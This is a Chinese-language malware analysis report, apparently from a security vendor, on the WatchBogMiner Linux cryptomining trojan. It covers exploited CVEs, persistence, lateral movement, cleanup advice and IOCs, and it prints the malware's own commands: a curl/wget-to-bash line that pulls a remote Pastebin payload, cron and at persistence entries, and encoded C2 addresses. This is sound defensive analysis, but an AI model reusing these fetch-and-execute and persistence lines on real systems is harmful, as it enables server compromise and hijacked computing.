一、背景
腾讯安全威胁情报中心检测到针对Linux服务器进行攻击的WatchBogMiner变种挖矿木马。该木马利用Nexus Repository Manager、Supervisord、ThinkPHP等服务器组件的远程代码执行漏洞进行攻击,在失陷机器安装多种类型的持久化攻击代码,然后植入门罗币挖矿木马进行挖矿,腾讯安全专家根据木马使用的算力资源推测已有上万台Linux服务器被黑客控制。
木马通过第三方网站Pastebin保存恶意代码以躲避检测,并且通过各类方法进行持久化,定期拉取挖矿木马加载到内存执行,同时会在启动后删除木马文件以达到“隐身”目的。和其他挖矿木马类似,WatchBogMiner木马挖矿时,会清除其他挖矿木马以独占服务器。WatchBogMiner变种攻击代码还会通过失陷机器已认证过的SSH RSA进行SSH连接和执行远程命令进行横向移动,以扩大其影响范围。根据其钱包算力(120Kh/s)推测,木马已控制约1万台服务器进行挖矿。
腾讯安全专家建议企业网管对Linux服务器进行安全检测,及时清除挖矿木马,及时修复服务器组件存在的高危漏洞,避免遭遇更严重的损失。
二、样本分析
WatchBogMiner使用Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)、Supervisord远程命令执行漏洞(CVE-2017-11610)、ThinkPHP远程命令执行漏洞的EXP代码对服务器进行扫描和攻击,并通过Payload执行https[:]//pastebin.com/raw/1eDKHr4r。失陷机器被安装的恶意定时任务如下:
为逃避检测,攻击者使用第三方网站Pastebin来保存恶意代码,该网站不会被网络防御方判断为恶意网站。WatchBogMiner变种用于存放恶意代码的Pastebin账号为"LISTTIME",创建于2020年4月20日。
https[:]//pastebin.com/raw/1eDKHr4r跳转https[:]//pastebin.com/raw/UhUmR517
“UhUmR517”上保存的内容经过base64解码后,会得到以下shell脚本,包括有system()、cronhigh()、gettarfile()、download()、testa()、kill_miner_proc()等函数,会完成持久化、挖矿、横向移动等功能,是该病毒的主要攻击脚本。
脚本首先定义了4个变量,内容分别如下:
house=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzFlREtIcjRy|base64 -d)
park=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2I1eDFwUnpL|base64 -d)
beam=$(echo c2FkYW42NjYueHl6OjkwODAvcnI=|base64 -d)
deep=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1NqaldldlRz|base64 -d)
surf=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3R5am5UUVRB|base64 -d)
经过base64解码后:
house= https[:]//pastebin.com/raw/1eDKHr4r
park= https[:]//pastebin.com/raw/b5x1pRzK
beam= sadan666.xyz:9080/rr
deep= https[:]//pastebin.com/raw/SjjWevTs
surf= https[:]//pastebin.com/raw/tyjnTQTA
持续化模块通过多种方式定期执行远程shell脚本:
1.system()函数通过写入/etc/crontab文件,创建定时任务。
2.cronhigh()通过写入以下文件创建定时任务。
/var/spool/cron/crontabs/root
/etc/cron.d/system
/etc/cron.d/apache
/etc/cron.d/root
/etc/cron.hourly/oanacroane
/etc/cron.daily/oanacroane
/etc/cron.monthly/oanacroane
3.cronlow()通过crontab命令创建定时任务。
4.cronbackup()通过at命令:echo "$pay" | at -m now + 1 minute添加定时任务,通过后台隐藏执行一段带有while循环的脚本:"while true; do sleep 600 && $pay; done",同样达到定时任务效果。
5.cronc()通过写入环境变量文件"/home/$me/.bashrc"、"/root/.bashrc"执行定时任务。
挖矿模块为download()和testa(),分别从https[:]//pastebin.com/raw/GMdeWqec、
https[:]//pastebin.com/raw/Esctfgrx下载$mi_64和$st_64,经过解码后得到XMRig、xmr-stak修改而成的挖矿程序,保存为:
/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/javaUpDates(最初被发现时该文件名为watchbog)
然后从https[:]//pastebin.com/raw/SB0TYBvG下载得到挖矿配置文件。
矿池:pool.minexmr.com:80
钱包:
48S8kPXdSgubJYsMhpRTr4Ct1nznDzV9ohNMEbmKzgeJLwWPV2QfKzsNRDYoxWWMAdTW69EVBhRQuFr7BiCsMQoU9xAKW4U
对比新版和旧版的挖矿木马启动代码,发现新版代码在释放和启动挖矿木马之后,会sleep 15秒,然后通过rm -rf 命令将挖矿木马文件删除。
由于Linux系统进程启动时,会将文件完全映射到内存中,所以启动之后删除文件不影响已经在运行中的进程,木马用这一方法来抹掉文件痕迹从而达到隐身。木马已通过各类持久化任务定期拉取挖矿木马并加载到内存执行,即使每次执行后删除文件,也能达到挖矿进程长期驻留系统的效果。
该钱包目前挖矿获得门罗币28XMR,折合人民币13600元,矿池算力维持在120kH/s左右,这意味着持续有1万台左右的服务器被控制挖矿。
脚本还会通过Kill_miner_proc()找到并清除竞品挖矿木马。
通过Kill_sus_proc()杀死高占用CPU的可疑进程。
变种新增横向移动模块,获取/root/.ssh/known_hosts中保存的已通过SSH RSA公钥认证的IP,重新进行SSH登录并执行远程命令进行内网扩散攻击:
curl -fsSL https[:]//pastebin.com/raw/UhUmR517||wget -q -O - https[:]//pastebin.com/raw/UhUmR517)|base64 -d|bash >/dev/null 2>&1 &
三、手动清除建议
1、检查是否有高CPU占用的进程javaUpDates,kill掉该进程:
映像文件路径(可能已被删除):/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/javaUpDates
2、检查以下文件是否有包含“sadan666.xyz:9080/rr”的定时任务,如有将其删除:
/etc/crontab
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/system
/etc/cron.d/apache
/etc/cron.d/root
/etc/cron.hourly/oanacroane
/etc/cron.daily/oanacroane
/etc/cron.monthly/oanacroane
同时通过crontab命令检查有无“sadan666.xyz:9080/rr”相关定时任务,如有将其删除。
3、过atq命令查找at任务队列,删除“sadan666.xyz:9080/rr”相关作业。
4、检查是否存在进程/tmp/crun,如果该进程每10分钟请求一次
“sadan666.xyz:9080/rr”,Kill掉该进程。
5、检查配置文件"/home/$me/.bashrc"、"/root/.bashrc"是否包含“sadan666.xyz:9080/rr”相关内容,如有将其删除。
IOCs
Domain
sadan666.xyz
IP
104.236.66.189
URL
https[:]//pastebin.com/raw/1eDKHr4r
https[:]//pastebin.com/raw/UhUmR517
https[:]//pastebin.com/raw/b5x1pRzK
http[:]//sadan666.xyz:9080/rr
https[:]//pastebin.com/raw/SjjWevTs
https[:]//pastebin.com/raw/tyjnTQTA
https[:]//pastebin.com/raw/Esctfgrx
https[:]//pastebin.com/raw/GMdeWqec
https[:]//pastebin.com/raw/SB0TYBvG
https[:]//pastebin.com/raw/Zkz0d9Jz
https[:]//pastebin.com/raw/mvSEGmR6
md5
mi_64 88b658853b9ececc48f5cac2b7b3f6f6
st_64 ad17226de6cc93977fb7c22c7a27ea8e
钱包:
48S8kPXdSgubJYsMhpRTr4Ct1nznDzV9ohNMEbmKzgeJLwWPV2QfKzsNRDYoxWWMAdTW69EVBhRQuFr7BiCsMQoU9xAKW4U